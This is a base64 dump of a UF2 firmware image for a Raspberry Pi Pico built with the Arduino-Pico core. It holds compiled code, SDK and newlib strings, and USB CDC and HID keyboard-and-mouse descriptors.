AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4A
IAAAAO0AEAABAADtAAAAAwEAAFb/i+T758BGVBsAIAZLELUbeAArBND/96//AOAAvxC9APCE+Pvn
wEZUGwAgACBwR1giASABS0BCGmBwRyAOACBYIgEgAUtAQhpgcEcgDgAgWCICSwAgGmBwR8BGIA4A
IFgiASABS0BCGmBwRyAOACABIEBCcEcAAPi1wEYBtAJIhEYBvGBHAL89AwAgAbQCSIRGAbxgRwC/
bQIAIAG0AkiERgG8YEcAv1kEACABtAJIhEYBvGBHAL/hAwAgAbQCSIRGAbxgRwC/RQQAIAG0AkiE
RgG8YEcAv1kEACABtAJIhEYBvGBHAL9HAQAgAbQCSIRGAbxgRwC/lwEAIAG0AkiERgG8AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAg
AAAA7gAQAAEAAO4AAAADAQAAVv+L5GBHAL8xAgAgAbQCSIRGAbxgRwC/MQQAIAG0AkiERgG8YEcA
vx0EACABtAJIhEYBvGBHAL+VAgAgAbQCSIRGAbxgRwC/BQEAIAG0AkiERgG8YEcAv/cDACAAAAAA
ABAAAAAAEAAQAAAAABAQABAAEAAQEAAAEBAQAH7uABAE/yFiIxEAFEKkAAAAAAAAAAAAAM01ABCV
NwAQZTYAEJ02ABAtNgAQBTcAEOE1ABC/NQAQtTUAEMs1ABBdNwAQdXNfc2luY2VfYm9vdCA8PSBJ
TlQ2NF9NQVgAdm9pZCB1cGRhdGVfdXNfc2luY2VfYm9vdChhYnNvbHV0ZV90aW1lX3QAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAA
AADvABAAAQAA7wAAAAMBAABW/4vkKiwgdWludDY0X3QpAC9ob21lL21yYS8uYXJkdWlubzE1L3Bh
Y2thZ2VzL3JwMjA0MC9oYXJkd2FyZS9ycDIwNDAvMi42LjEvL3BpY28tc2RrL3NyYy9jb21tb24v
cGljb19iYXNlL2luY2x1ZGUvcGljby90eXBlcy5oAFN5c3RlbSBjbG9jayBvZiAldSBrSHogY2Fu
bm90IGJlIGV4YWN0bHkgYWNoaWV2ZWQAAAD//////////77vABAC/0AAgABJUlEgc3RhY2sgb3Zl
cmZsb3cAUmFzcGJlcnJ5IFBpAFBpY29BcmR1aW5vAEJvYXJkIENEQwAFAQkCoQGFAQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAA
APAAEAABAADwAAAAAwEAAFb/i+QJAaEABQkZASkFFQAlAZUFdQGBApUBdQOBAQUBCTAJMRWBJX+V
AnUIgQYJOBWBJX+VAXUIgQYFDAo4AhWBJX+VAXUIgQbAwAUBCQahAYUBBQcZ4CnnFQAlAZUIdQGB
ApUBdQiBAQUIGQEpBZUFdQGRApUBdQORAQUHGQAq/wAVACb/AJUGdQiBAMAFAQkCoQGFAgkBoQAF
CRkBKQUVACUBlQV1AYEClQF1A4EBBQEJMAkxFYElf5UCdQiBBgk4FYElf5UBdQiBBgUMCjgCFYEl
f5UBdQiBBsDACAsAAgICAAAJBAAAAQICAAQFJAAgAQUkAQABBCQCAgUkBgABBwWBAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAA
8QAQAAEAAPEAAAADAQAAVv+L5AMIABAJBAEAAgoAAAAHBQICQAAABwWCAkAAAAAI8gAQ1e8AEOLv
ABBDGwAg7u8AEE5vIHNwaW5sb2NrcyBhcmUgYXZhaWxhYmxlAE5vIHVzZXIgSVJRcyBhcmUgYXZh
aWxhYmxlAEhhcmR3YXJlIGFsYXJtICVkIGFscmVhZHkgY2xhaW1lZABObyBwcm9ncmFtIHNwYWNl
AE5vIFBJTyBzdGF0ZSBtYWNoaW5lcyBhcmUgYXZhaWxhYmxlACwgZnVuY3Rpb246IABhc3NlcnRp
b24gIiVzIiBmYWlsZWQ6IGZpbGUgIiVzIiwgbGluZSAlZCVzJXMKAAoqKiogUEEAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAADy
ABAAAQAA8gAAAAMBAABW/4vkTklDICoqKgoASGFyZCBhc3NlcnQAAAAA5XAAEGFxABCRcQAQNXIA
EA1zABAAAAAABXQAEPFzABARdAAQxXQAEKl2ABAAAAAAVW5oYW5kbGVkIElSUSAweCV4CgBlcCAl
ZCAlcyB3YXMgYWxyZWFkeSBhdmFpbGFibGUAQ2FuJ3QgY29udGludWUgeGZlciBvbiBpbmFjdGl2
ZSBlcCAlZCAlcwBvdXQAaW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAAPMA
EAABAADzAAAAAwEAAFb/i+QAAAAAAAAAAAAAAACgBQAgSU5GAGluZgBOQU4AbmFuADAAMDEyMzQ1
Njc4OUFCQ0RFRgAwMTIzNDU2Nzg5YWJjZGVmAGUlbGQAAAAAAAAAADUAAADO+///ywMAAAEAAAAA
AAAANAAAAM77///LAwAAAQAAAAAAAAC8idiXstKcPDOnqNUj9kk5Paf0RP0PpTKdl4zPCLpbJUNv
rGQoBmgRACAgICAgICAgICgoKCgoICAgICAgICAgICAgICAgICAgiBAQEBAQEBAQEBAQEBAQEAQE
BAQEBAQEBAQQEBAQEBAQQUFBQUFBAQEBAQEBAQEBAQEBAQEBAQEBAQEQEBAQAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAA9AAQ
AAEAAPQAAAADAQAAVv+L5BAQQkJCQkJCAgICAgICAgICAgICAgICAgICAgIQEBAQIAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAASW5maW5pdHkATmFOAFJFRU5UIG1hbGxvYyBzdWNjZWVkZWQAL3dvcmtkaXIvcmVwby9u
ZXdsaWIvbmV3bGliL2xpYmMvc3RkbGliL2R0b2EuYwBCYWxsb2Mgc3VjY2UAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAD1ABAA
AQAA9QAAAAMBAABW/4vkZWRlZAAvd29ya2Rpci9yZXBvL25ld2xpYi9uZXdsaWIvbGliYy9zdGRs
aWIvZ2R0b2EtZ2V0aGV4LmMALgAAADz1ABAI8gAQoAoAIFBPU0lYAC93b3JrZGlyL3JlcG8vbmV3
bGliL25ld2xpYi9saWJjL3N0ZGxpYi9tcHJlYy5jAAAAAAAAAAUAAAAZAAAAfQAAAAAAAAC8idiX
stKcPDOnqNUj9kk5Paf0RP0PpTKdl4zPCLpbJUNvrGQoBsgKAIDgN3nDQUMXbgW1tbiTRvX5P+kD
TzhNMh0w+Uh3glo8v3N/3U8VdQAAAAAAAPA/AAAAAAAAJEAAAAAAAABZQAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAAPYAEAAB
AAD2AAAAAwEAAFb/i+QAAAAAAECPQAAAAAAAiMNAAAAAAABq+EAAAAAAgIQuQQAAAADQEmNBAAAA
AITXl0EAAAAAZc3NQQAAACBfoAJCAAAA6HZIN0IAAACilBptQgAAQOWcMKJCAACQHsS81kIAADQm
9WsMQwCA4Dd5w0FDAKDYhVc0dkMAyE5nbcGrQwA9kWDkWOFDQIy1eB2vFURQ7+LW5BpLRJLVTQbP
8IBE9krhxwIttUS0ndl5Q3jqRCMtMCsgAGhsTABlZmdFRkcAAAAADUtwtRt4ACsV0dAl/zMtBitl
APDl+QEkK20jQgnQAPDX+QZLmEL30QVLHHAaeAAq/NEA8N35cL1VGwAgAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAA9wAQAAEA
APcAAAADAQAAVv+L5C7Q3sBWGwAg0CMwtQAkACEbBhxXBWjv8xCDcrYqaAAq/NC/81+PBXkCaH8t
BtkEcb/zX48RYIPzEIgwvb/zX48RYIPzEIggv+Tn0CMwtQAlGwYbeFuyBGjv8xCCcrYhaAAp/NC/
81+PBCQEVwFonEIB0AAsCtoDcUN5ATNDcb/zX48AIwtggvMQiDC9v/Nfjw1ggvMQiCC/3ecDABC1
AGjv8xCEcrYCaAAq/NC/81+PBCKaVgAqDNrQIgEgEgYSaBpxG2i/81+PACIaYITzEIgQvQge9dAA
IApg8uf3tR4A0CMFABcAGwYbaAGTKWjv8xCDcrYKaAAq/NC/81+PKXkAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAD4ABAAAQAA
+AAAAAMBAABW/4vkACQqaH8pCNkBmSlxv/NfjxRgg/MQiAEg/r2/81+PFGCD8xCIOAAxAADwLPkA
KN3QIADx5/i1DwAGAADwE/n6IgQADQAAI5IAOAAAIQDwEvkCAAsAEhlrQZ1CAtgE0ZRCAtkBIlJC
0xcwAP/3t//4vQFo7/MQg3K2CmgAKvzQv/Nfj/8iAnECaL/zX48AIRFgg/MQiEC/cEcQtQFo7/MQ
gnK2C2gAK/zQv/Nfj0N5AWgBO9uyQ3EAKwjR/yQEcb/zX48LYILzEIhAvxC9v/NfjwAjC2CC8xCI
9+cAAAhKELUTeAArCtGAIwZIB0lbBRxoxFAEM4tC+tEBIxNwEL3ARgAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAAPkAEAABAAD5
AAAAAwEAAFb/i+RsHAAgfBMAEAABABAQtQJLATOYRxC9wEZ8EwAgQx6YQQVLAjAbaAACWEDAI5sA
GEACSxhgcEfARgyAAUAMkAFA8LUUJxgmhbAziAGQApE4iCFJFACYRzOIBQAgSTiImEcziB9JA5A4
iJhHBgD/97b/qEcDm5hHACD/99D/wCIjAAggUgUSPyEAGUMH0QEg//fF/7BH//e6/wWw8L2Rag0A
BUA5QgvQACwJ0BkbDSkG2AGZATwJeBFmAZkBMQGRAC3h0AAr39ARbgKdATspcCkAATECkdfnwEZJ
RgAARVgAAEZDAADJsoIYkEIB0QAgcEcDeItC+9ABMPbnELWIQgLZAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAA+gAQAAEAAPoA
AAADAQAAVv+L5IsYmEID0wAjB+CLXINUATr70hC9zFzEVAEzmkL60fjnArRxRkkISQAJXEkAjkQC
vHBHwEYDtHFGSQhAAEkACV5JAI5EA7xwRwO0cUZJCEAASQAJWkkAjkQDvHBHcEfARgAAAAABtAJI
hEYBvGBHAL/tUAAQAbQCSIRGAbxgRwC/GWAAEAG0AkiERgG8YEcAvwVQABABtAJIhEYBvGBHAL+x
YgAQAbQCSIRGAbxgRwC//T0AEAG0AkiERgG8YEcAv809ABAAwgEAEgEAAgICAUCKLgrwAAEBAgMB
EAAAAAAAAAABAAAAAAAAAAAAAAACAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAD7ABAAAQAA+wAA
AAMBAABW/4vkAAAAAAAA/wAAAAAAALVIaAExjkYAR3BGCTgBSYhHAL2BSQAQOAUAIAAAAACQDAAg
bxwAIAAAAAAAAAAAfxwAIAAAAAAAAAAAEAAAAAAAAAAAAAAAUDMAAEwzAABUMwAAUjMAAE1TAABN
QwAAUzQAAEM0AACsGwAgEAAMAAAA4P8fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACk8gAQqPIAEKAF
ACAAAAAA7PIAEMzyABCs8gAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAAPwAEAABAAD8AAAA
AwEAAFb/i+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAgAAAAAAAAAA
AJgGACCYBgAgoAYAIKAGACCoBgAgqAYAILAGACCwBgAguAYAILgGACDABgAgwAYAIMgGACDIBgAg
0AYAINAGACDYBgAg2AYAIOAGACDgBgAg6AYAIOgGACDwBgAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAA/QAQAAEAAP0AAAAD
AQAAVv+L5PAGACD4BgAg+AYAIAAHACAABwAgCAcAIAgHACAQBwAgEAcAIBgHACAYBwAgIAcAICAH
ACAoBwAgKAcAIDAHACAwBwAgOAcAIDgHACBABwAgQAcAIEgHACBIBwAgUAcAIFAHACBYBwAgWAcA
IGAHACBgBwAgaAcAIGgHACBwBwAgcAcAIHgHACB4BwAggAcAIIAHACCIBwAgiAcAIJAHACCQBwAg
mAcAIJgHACCgBwAgoAcAIKgHACCoBwAgsAcAILAHACC4BwAguAcAIMAHACDABwAgyAcAIMgHACDQ
BwAg0AcAINgHACDYBwAg4AcAIOAHACDoBwAg6AcAIPAHACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAD+ABAAAQAA/gAAAAMB
AABW/4vk8AcAIPgHACD4BwAgAAgAIAAIACAICAAgCAgAIBAIACAQCAAgGAgAIBgIACAgCAAgIAgA
ICgIACAoCAAgMAgAIDAIACA4CAAgOAgAIEAIACBACAAgSAgAIEgIACBQCAAgUAgAIFgIACBYCAAg
YAgAIGAIACBoCAAgaAgAIHAIACBwCAAgeAgAIHgIACCACAAggAgAIIgIACCICAAgkAgAIJAIACCY
CAAgmAgAIKAIACCgCAAgqAgAIKgIACCwCAAgsAgAILgIACC4CAAgwAgAIMAIACDICAAgyAgAINAI
ACDQCAAg2AgAINgIACDgCAAg4AgAIOgIACDoCAAg8AgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAAP8AEAABAAD/AAAAAwEA
AFb/i+TwCAAg+AgAIPgIACAACQAgAAkAIAgJACAICQAgEAkAIBAJACAYCQAgGAkAICAJACAgCQAg
KAkAICgJACAwCQAgMAkAIDgJACA4CQAgQAkAIEAJACBICQAgSAkAIFAJACBQCQAgWAkAIFgJACBg
CQAgYAkAIGgJACBoCQAgcAkAIHAJACB4CQAgeAkAIIAJACCACQAgiAkAIIgJACCQCQAgkAkAIJgJ
ACCYCQAgoAkAIKAJACCoCQAgqAkAILAJACCwCQAguAkAILgJACDACQAgwAkAIMgJACDICQAg0AkA
INAJACDYCQAg2AkAIOAJACDgCQAg6AkAIOgJACDwCQAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIKV1FdngAgAAAAAAEQAAEAAAABAAADAQAA
Vv+L5PAJACD4CQAg+AkAIAAKACAACgAgCAoAIAgKACAQCgAgEAoAIBgKACAYCgAgIAoAICAKACAo
CgAgKAoAIDAKACAwCgAgOAoAIDgKACBACgAgQAoAIEgKACBICgAgUAoAIFAKACBYCgAgWAoAIGAK
ACBgCgAgaAoAIGgKACBwCgAgcAoAIHgKACB4CgAggAoAIIAKACCICgAgiAoAIJAKACCQCgAg/wAA
AEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAABDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpXUV2eACAAAAABARAAAQAAAQEAAAMBAABW
/4vkAAAAAAAAAABDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEMAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABDAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM3oABDh1QAQAAAAAKDzABA89QAQCPIAEAjyABAI8gAQ
CPIAEAjyABAI8gAQCPIAEAjyABAI8gAQ//////////////////8AAAEAQVNDSUkAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABBU0NJSQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYyCldRXZ4AIAAAAAIBEAABAAACAQAAAwEAAFb/
i+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAATWIAEHlYABBpYQAQ
UYEAEPUxABBNMgAQzTgAEGE7ABA9PgAQiVgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
